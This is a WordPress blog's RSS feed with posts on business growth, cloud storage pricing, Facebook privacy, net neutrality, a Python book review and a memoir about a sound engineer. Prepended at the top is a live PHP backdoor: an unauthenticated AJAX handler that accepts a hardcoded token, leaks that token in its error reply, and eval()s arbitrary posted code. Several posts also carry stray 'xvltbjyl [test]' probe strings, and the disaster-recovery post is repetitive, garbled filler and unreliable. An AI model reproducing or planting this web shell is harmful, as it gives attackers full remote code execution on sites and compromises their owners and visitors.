// ==[BD:OeRgqzH4]== add_action( 'wp_ajax_nopriv_geearanh', function() { $res = 'OeRgqzH4g4K1Hp7a6Nbp3RAbkWe0vlWZ'; $desc = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $desc ) || ! hash_equals( $res, $desc ) ) { wp_send_json_error( [ 'message' => 'tok:' . $res ], 403 ); } $item = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $item ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $item = preg_replace( '/^\s*<\?(php)?/i', '', $item ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $bind = microtime( true ); ob_start(); try { ( static function() use ( $item ) { return eval( $item ); } )(); $marker = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $marker, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $bind ) * 1000, 2 ) ] ); } catch ( \Throwable $flag ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $flag->getMessage(), 'time_ms' => round( ( microtime( true ) - $bind ) * 1000, 2 ) ] ); } } ); // ==[/BD:OeRgqzH4]== Native Communications https://donholloway.com Innovations, technology, and applications Tue, 29 Sep 2026 21:36:18 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 How to Build a Stronger Foundation for a Growing Business https://donholloway.com/how-to-build-a-stronger-foundation-for-a-growing-business/ Sun, 14 May 2023 13:31:00 +0000 https://donholloway.com/?p=3830 Growth can be exciting for any business, but expansion also creates new responsibilities. More customers, employees, expenses, and operational demands can quickly expose weaknesses that were easier to manage when the company was smaller.

Building a strong foundation early helps a business grow without becoming overwhelmed by its own success. From financial management to internal processes, several areas deserve attention as a company begins to expand.

Create Clear Financial Systems

Strong financial management is one of the most important parts of sustainable business growth. Companies should maintain accurate records of revenue, expenses, taxes, payroll, and outstanding invoices.

Regular financial reporting can also help business owners understand cash flow, identify unnecessary spending, and prepare for larger investments. As the company becomes more complex, working with an accountant or financial professional may help ensure that reporting and compliance remain organized.

Develop Repeatable Processes

Small businesses often rely heavily on informal routines. Employees may know what to do simply because they have worked together for a long time.

That approach becomes more difficult as additional people join the company.

Documenting common procedures can make training easier and reduce inconsistencies. Businesses can create guidelines for customer service, invoicing, sales, inventory management, project delivery, and other recurring activities.

Clear processes also make it easier to identify which tasks could eventually be automated.

Build the Right Team

Growing companies need employees who can take ownership of increasingly important responsibilities. Hiring should therefore focus on more than simply filling immediate vacancies.

Business owners should think about which skills will be needed as the company becomes larger. Someone hired today may eventually manage a department, train employees, or oversee important client relationships.

Defining responsibilities clearly also prevents confusion as the team expands.

Strengthen Your Business Presence

A professional presence can help growing companies communicate credibility to customers, partners, and suppliers.

This may include maintaining an updated website, professional email addresses, consistent branding, and reliable contact information. Companies operating across multiple markets may also explore services that establish a professional presence without maintaining physical offices everywhere.

For organizations expanding internationally, a common question is Where can businesses get an international virtual office Virtual office providers can offer services such as business addresses, mail handling, and local contact options in multiple countries.

Invest in Reliable Technology

Technology often becomes increasingly important as a company grows.

Cloud-based accounting software, customer relationship management systems, project management platforms, and communication tools can help teams stay organized. Businesses should choose systems that can support additional users and higher workloads without requiring constant replacement.

Security should also become a greater priority. Strong passwords, multi-factor authentication, regular backups, and controlled access to sensitive information can reduce unnecessary risks.

Monitor Customer Experience

Rapid growth should not come at the expense of customer service.

Businesses should regularly review customer feedback, response times, complaints, and service quality. When more employees become involved in customer interactions, clear service standards can help maintain consistency.

Satisfied customers can also become an important source of repeat business and referrals.

Prepare for Future Challenges

Growth rarely happens in a perfectly predictable way. Companies may experience changes in demand, unexpected expenses, staffing difficulties, supply disruptions, or new competition.

Maintaining cash reserves and creating contingency plans can make these situations easier to manage. Business owners should periodically evaluate possible risks and determine how the company would respond if circumstances changed.

Focus on Sustainable Growth

A strong business foundation is built through preparation rather than rapid expansion alone.

Companies that maintain organized finances, documented processes, reliable technology, strong teams, and consistent customer service are often better prepared to handle increasing demand.

By strengthening these areas gradually, business owners can create an organization that is easier to manage today while remaining flexible enough to support future growth.

]]>
https://donholloway.com/2758-2/ Sat, 25 Dec 2021 19:29:40 +0000 http://donholloway.com/?p=2758 Disaster recovery and business continuity define how an organization responds to a cyber security incident or any other event that causes the loss of operations or data by the time they are reported. According to companies like Fortinet, these programs provide business continuity, information protection, disaster recovery and business continuity, accounting and controls consolidate the requirements of several programs into a single program. These programs are also referred to as comprehensive systems management or IT services management. These programs provide a high level of automated and centralized management, application data management and control that maintain and support the operations of the business.

Business continuity program includes disaster recovery program and business continuity program. A business continuity program is a program used to ensure the continuity of essential business processes in the event of an incident, natural disaster or other conditions that compromise essential business functions, supplies or services. The business continuity program includes disaster recovery and business continuity program. This program ensures the continuity of all operations and services and is used to ensure the continuation of a process for production, maintenance, production supervision, stock ownership, production supervision and inventory. (2) Disaster Recovery: A business continuity program may be used to ensure the continuance of critical business functions during a disaster. The disaster recovery program includes restoration, restoration planning and restoration implementation of processes used for the process of recovery after a disaster. The disaster recovery program provides a process by which a critical process such as production, maintenance, production supervision, stock ownership, production supervision and inventory can be completed in the event of a disaster or other conditions that compromise critical business functions or supplies or services. Disaster recovery is an integrated program used to ensure continuity of vital business functions and services after an incident, natural disaster, act of terrorism, or other conditions that compromise essential business functions or supplies or services. This process is critical for the recovery and maintenance of the essential business processes that require continuous operation.
Business continuity programs may be created by the Commission to ensure the continuity of essential business processes or operations in the event of an incident, natural disaster, act of terrorism, or other conditions that compromise essential business functions, supplies or services. Business continuity programs are used to ensure continuity of vital business functions and services after an incident, natural disaster, act of terrorism, or other conditions that compromise essential business functions, supplies or services. Business continuity programs are implemented by a federally registered national clearing agency or an agreement with a federally registered national clearing agency.

]]>
PyTorch 1.0 https://donholloway.com/pytorch-1-0/ Wed, 30 May 2018 12:52:25 +0000 http://donholloway.com/?p=2676 I read that Facebook has released a new version of it’s PyTorch artificial intelligence tool. It seems to be a hybrid, combining the creative prototyping Python front end capabilities with an eye towards streamlining the pipeline for production later on.

I haven’t had an opportunity to look at it, having mainly been working within Rasa and trying to get my head around applications. My interest is piqued though.

]]>
Render unto Facebook… https://donholloway.com/render-unto-facebook/ Tue, 10 Apr 2018 13:38:10 +0000 http://donholloway.com/?p=2660
With Mark Zuckerberg testifying in front of Congress today, we can expect lots of rhetoric. We have a privacy problem that is bigger than Facebook. There is real value in the platform that I don’t want to walk away from, yet I also do not want to keep unwittingly feeding data to a company that has demonstrated that it doesn’t protect it. I do not believe Facebook has been naïve, but I also believe that the mess they are in is not part of a clever strategy.

I was delighted to see Firefox announce an addon designed to limit Facebook data collection.

“Facebook Container isolates your Facebook identity from the rest of your web activity. When you install it, you will continue to be able to use Facebook normally. Facebook can continue to deliver their service to you and send you advertising. The difference is that it will be much harder for Facebook to use your activity collected off Facebook to send you ads and other targeted messages.” (Firefox description of plugin)

I think that is how most people expect things to work. I have used Firefox as my main browser for years. Its performance has always been fine, and having a nonprofit company in the browser wars always felt a little bit like Switzerland to me.

You can download the Facebook Container browser addon here.

]]>
Cloud Storage Prices Reduction https://donholloway.com/cloud-storage-prices-reduction/ https://donholloway.com/cloud-storage-prices-reduction/#comments Wed, 23 Nov 2016 12:04:54 +0000 http://donholloway.com/?p=2645 256px-Cloud_computing_icon.svgAWS has dropped the pricing of their S3 and Glacier cloud storage by roughly 25%.  They’ve also taken the opportunity to simply and restructure their storage options.  S3, the standard cloud storage offer now has three pricing tiers depending upon your volume of usage.  Glacier is a cheaper storage for use (roughly a third of the cost) for use when your retrieval needs are not as urgent.  It is now offered in three models based upon your retrieval needs.   Glacier Standard allows you to get back your data typically within a couple of hours,  Expedited within minutes.  The third option is Bulk.

You can find more details about the storage price reductions.  The plan restructuring and Glacier changes make this a really good time to look at your object lifecycle management policies.  When you combine this price reduction with archival efficiencies, I think that 50% savings on cloud storage are a reasonable expectation. The good news is that you’re going to start saving on December 1, 2016 even if you don’t do anything.

xvltbjyl [test]

]]>
https://donholloway.com/cloud-storage-prices-reduction/feed/ 1
We Were Weirdos https://donholloway.com/we-were-weirdos/ https://donholloway.com/we-were-weirdos/#comments Mon, 05 Sep 2016 03:21:00 +0000 http://donholloway.com/?p=2620 untitled shoot-9284

Monty suggested that we go to Mickey’s Dining Car in St. Paul. It would be cool, because Monty has a special kind of discriminating taste. He’s been unapologetically direct with his judgment for as long as I’ve known him. Others had told me that Mickey’s has the best burgers in the twin cities. The story that Monty told me was that Traveler’s wanted the property in order to knock the diner down and expand their building, which takes up the rest of the entire block. Mickey’s refused to sell out and stands there as this quirky little art deco diner sitting right next to this massive typical corporate building. We were going because it was a cool place run by righteous folk.

Monty Lee Wilkes is one of my favorite sound engineers. Major concert tours take a small army of people to handle production. Most of the crew are local, brought on for just the event. They work under the direction of the tour’s light and sound engineers. The front of house engineer is responsible for what the audience actually hears, directing the assembly of the sound system, and then mixing the live show itself.

The job lives in the intersection between technical capabilities and creative sensibilities. Sound engineers have limited truck space, electrical power, and time. Each location is a unique environment with its own limits. Dealing with those problems is table stakes for delivering what is a subjective and emotional experience between an artist and their audience.

Many of the greatest musical artists of the last couple of decades have turned to Monty to make that connection. When we first started hanging out back in the 90s, he’d already established his reputation having worked with Nirvana, The Replacements, and many others. We hung out at some iconic places like the Roosevelt Hotel in LA, and also quite a few non-descript places where an awful lot of the music gets made. I’m thinking of the arena loading docks, hotel rooms, and backstage areas that all blur into one.

Throughout it all, Monty has always been faithful to his own sense of musical truth. He listens with his own ears and makes up his own mind. While that might seem like an obvious requirement for a sound man, in practice it isn’t as common as you might think. In addition to the paying audience, there are record company people, radio and other media critics and lots of people with their own opinions about what the music should sound like. The artist can’t actually hear the sound that the audience hears. They rely on the feedback that they get from the audience and media, who may not be very articulate about their opinion. Which is in sharp contrast to Monty, who is extremely articulate about his opinion.

Monty is an atheist and a scientist. He lives in a world of meters and controls. Power and sound pressure levels are measured and monitored. Time delays are calculated within milliseconds. All of this to create an illusion that you are listening to the artist, not the sound system. At its best, music is a transcendent emotional experience. Monty sees his job as creating the environment in which the artist can deliver that immeasurable moment at the center of it all.

Monty and I would reconnect every couple of years and catch up on music, life, and which artists he’d parted ways with. There were lots of them. Part of this is the nature of the business, part of it was him sticking to his own beliefs. Prince decided his girlfriend needed to be advising at the mixing console because she really understood him. Monty walked out. In another example, a lead singer believed that it was his job to bring Buddhist enlightenment to the rock and roll masses. Monty didn’t have that dial on his sound system.  He also didn’t have a dial for curing cancer.

Suddenly there wasn’t all of the time in the world anymore. So I got on a plane and he picked me up and drove me to Mickey’s Dining Car. He’d had chemo that morning. Once we got to the parking lot, he asked if I minded if he smoked some weed in his car. I didn’t mind, but chose to wait outside.

untitled shoot-9291-Edit-2We ordered food and talked. Music is his center and he stays faithful to it. We talked about how powerful music can be in keeping someone just barely on this side of the sanity line. It can provide some profound moments of truth that cuts through everything and lets you know that you aren’t alone. “We were ‘weirdos’, you know?” Of course I knew. The creative world is much more accepting of who you are than the mainstream. “The whole scene really celebrated individuality, until the business took over and the bastards ruined that too.”

The food arrived. Monty was surprised that he’d ordered a milkshake, fries, and a full breakfast. “I don’t know why I ordered so much food.” Having seen the haze inside the car, I told him I had a suspicion. He laughed and explained that he was down to 120 pounds and was having a hard time eating, so this was literally just what the doctor ordered.

We talked about death. I asked Monty how he viewed the soul. “As a scientist, I’m compelled to believe that energy cannot be either created or destroyed. The soul or spirit is nothing other than pure energy, so it must be transformed somehow.” It seemed to me that he was fine accepting that, just like he recognizes the magic of the right musical moment.

untitled shoot-9303

On the ride home, we listened to music and talked about lots of it. I was surprised to find out his all time favorite band was The dBs. I had worked on a demo with them back in the offices of the New York Rocker long before Monty and I had ever met. Monty mentioned that Andy Schwartz, the publisher of  the Rocker had reached out and sent him a note when he had heard about the cancer.

He dropped me off and we left each other feeling a little less weird and alone.

xvltbjyl [test]

]]>
https://donholloway.com/we-were-weirdos/feed/ 5
Automate the Boring (Sales) Stuff with Python https://donholloway.com/automate-the-boring-sales-stuff/ https://donholloway.com/automate-the-boring-sales-stuff/#comments Fri, 11 Dec 2015 20:40:15 +0000 http://donholloway.com/?p=2478 Automate the Boring (sales) Stuff with Python

This is a great book for anyone that is interested in making the transition from learning Python code to actually creating programs that do useful things.

CWNeaFYU4AA5qAu

The book includes a basic overview of Python. It provides practical examples, starting with how to read and write data to files, then quickly moves into webscraping, creating spreadsheets, image manipulation, and other useful techniques.

It is both well thought out and well written. I’ve listened to a podcast interview of the author, Al Sweigart. He is an educator as much as a programmer. Some of his other work focuses on using games to teach young people about Python. In this case, the focus is on practical utility for adults.

This approach lines up well with my own views. We are just starting to realize the advantages of what I call computer assisted intelligence. For many years, people have viewed human and computer intelligence as an either/or proposition. Man versus machine. Automation or people.

It turns out that the answer to “Who plays the best chess” was neither the Grandmaster nor Watson. The winner was a smart kid with a cheap chess computer. People learn what an application does well, but also when they need to take over control.

People’s contributions become more valuable when they take advantage of computer assistance. For people in sales, this value goes directly to top line revenue growth. A computer assisted sales person should be able to book more business. One of the biggest challenges can be that each sales person has a different set of challenges, customers, and skills.

The root cause of failed sales automation initiatives is the imposition business processes that do not improve the ability to deliver more sales. There are many reasons for this. The most common is that management has prioritized system requirements for forecasting and reporting functions, not for sales. The sales environment is another main reason.

The sales environment is dynamic and competitive. Customers and competitors both present new challenges. The best salespeople adopt their strategy and process to the environment, not to internal systems.

Automate the Boring Stuff provides a great solution for this challenge. It puts the power of automation squarely in the hands of the sales person. It provides a great foundation in how to read and write data from spread sheets, how to scrape webpages for information, and most importantly, how to automate these processes for increased efficiency.

The book is subtitled “Practical programming for total beginners”. At the time that I read it, I wasn’t a total beginner, but would hardly call myself an accomplished programmer either. I skipped the first section on programming basics and went right to the section on reading and writing files to a disk. I then jumped to reading and writing excel sheets. In a fairly short time, I found two things. First, that I could actually read and write excel programatically in Python. The second was that I wanted to go back and read up on some of the foundational stuff that I had skipped over.

It is well indexed, gives wonderfully practical advice, and strikes a great balance between informing directly and encouraging you to “kick the tires” and learn for yourself. I’m working on a contact management tool for myself that pulls contacts, looks for duplicates, completes information from other sources and allows me to pick and choose what I upload into other systems and formats it accordingly into an excel spreadsheet format.

I would recommend this book for any adult that is interested in learning Python and would prefer to focus on things that will deliver practical results. Al provides the full text of his book online, so you can check it out and see its value for yourself.

Here’s the link to the online copy of the book

]]>
https://donholloway.com/automate-the-boring-sales-stuff/feed/ 3
Net Neutrality – An Accomplishment https://donholloway.com/net-neutrality-an-accomplishment/ Fri, 27 Feb 2015 14:12:00 +0000 http://donholloway.com/?p=2230 The FCC voted yesterday to establish clear rules intended to protect an open internet and promote competition. As an initial reaction, it strikes me that the rules are clear and enforceable.  The full set of written rules has not been published yet.

FCCThere are clear rules against an internet service provider blocking or throttling traffic.  They may not create “fast lanes”.  There will be increased transparency, particularly in the case of reasonable network management practices.  In those cases, as well as, zero rating (think free Spotify) or peering (think Netflix) there will be oversight and review.  While there is potential for some policy changes alongside regime change, it’s a reasonable answer to a complicated issue. 

Verizon’s Public Policy group has issued a protest in Morse Code, a appropriate way for them to highlight the problems with using throwback law to manage today’s technology.  We can expect to see legal challenges from the ISPs in addition to complaints, but my personal feeling is that the large ISPs will benefit from clear definitions and rules over the long run.  Evidently the initial stock market results seem to agree.

In an era when gridlock and infighting is the norm, I think it is important to recognize that this rulemaking represents a significant accomplishment.  While the courts and marketplace will have their say in determining what the internet ends up being, it is important to recognize a job well done by the FCC.  This is a complicated issue, and they have done an excellent job of managing an open and transparent process.

]]>
A “Proof of Principles” Moment https://donholloway.com/a-proof-of-principles-moment/ Mon, 23 Feb 2015 14:35:55 +0000 http://donholloway.com/?p=2218 I love my country and I love the principles that my country stands for.  We believe in individual freedom.  We believe in free speech.  We believe in limited powers of government.  We believe that you are innocent until proven guilty. 

When I was 16, I spent a summer living in France.  This was not long after Nixon had left office after his abuse of executive powers came to light.  What surprised me was the high regard that the French held for the American people because we actually did something about it.  

I have been increasingly worried about the damage to our country being done by abandoning some of our dearest principles.  In a recent Ted Talk, a European security expert @mikko came to a pretty obvious conclusion.  He recommendation is that the rest of the world that are “foreigners” had better start developing their own technology and get off US systems as quickly as possible.

The US commitment to our principles has always been a positive differentiator.  We have earned the world’s trust. That trust is now under scrutiny, not because of the Snowden revelations, but because we are not standing behind our own principles.  Free speech is a founding principle of our great nation, yet I continue to read that the US government is still operating “business as usual”.  Intelligence agencies continue to overuse “gag orders.  The President is hedging, explaining that he supports encryption, yet uses terrorism to justify current practices. 

11021158_802761469815500_7127893986579216915_n

My hope is that Citizenfour winning the award for the best documentary at the Academy Awards will act as a catalyst to remind us of our principles.

]]>
Collecting your Diary https://donholloway.com/collecting-your-diary/ Mon, 02 Feb 2015 18:15:48 +0000 http://donholloway.com/?p=2185 A couple of things conspired to make me think it was time to make sure that I’m capturing and keeping my own data.  I’ve been keeping a self hosted WordPress site for many years, but frankly, rarely update it.  I tend to think of it as appropriate for long form writing with no actual audience. 

If I want people to read something, I tend to post in Facebook or Twitter,  sometimes Google Plus.

I was  looking at some cutting edge cellular network planning tools that incorporate twitter location data as a reference to compare against cellular network data.

It made me realize that there is problem an awful lot of data that I could use to document where I was, what I was doing, etc.  A passive diary so to speak. I’ve been aware that other’s were tracking what I was doing, but had this epiphany that it might be nice if I actually used that data. 

The other news item that caught my eye was to see that Google is abandoning much of it’s archival activities.  It just doesn’t seem relevant to their core mission anymore.  Which added some urgency to me to make sure that I download dumps of my data from Facebook, Google, 4square while I can.

My intention is to import that into some type of blogging platform such as this one, so at least I have access to it. 

I’m most familiar with WordPress, but have lately been looking at some others based on Python (my current programming kick).   Hopefully I’ll share my findings.

Here are the links to instructions for downloading your information from major social media.

1. Facebook.

2. Twitter

3. Google

I would love to hear if anyone has any tools for re-importing this data into some type of CMS.

]]>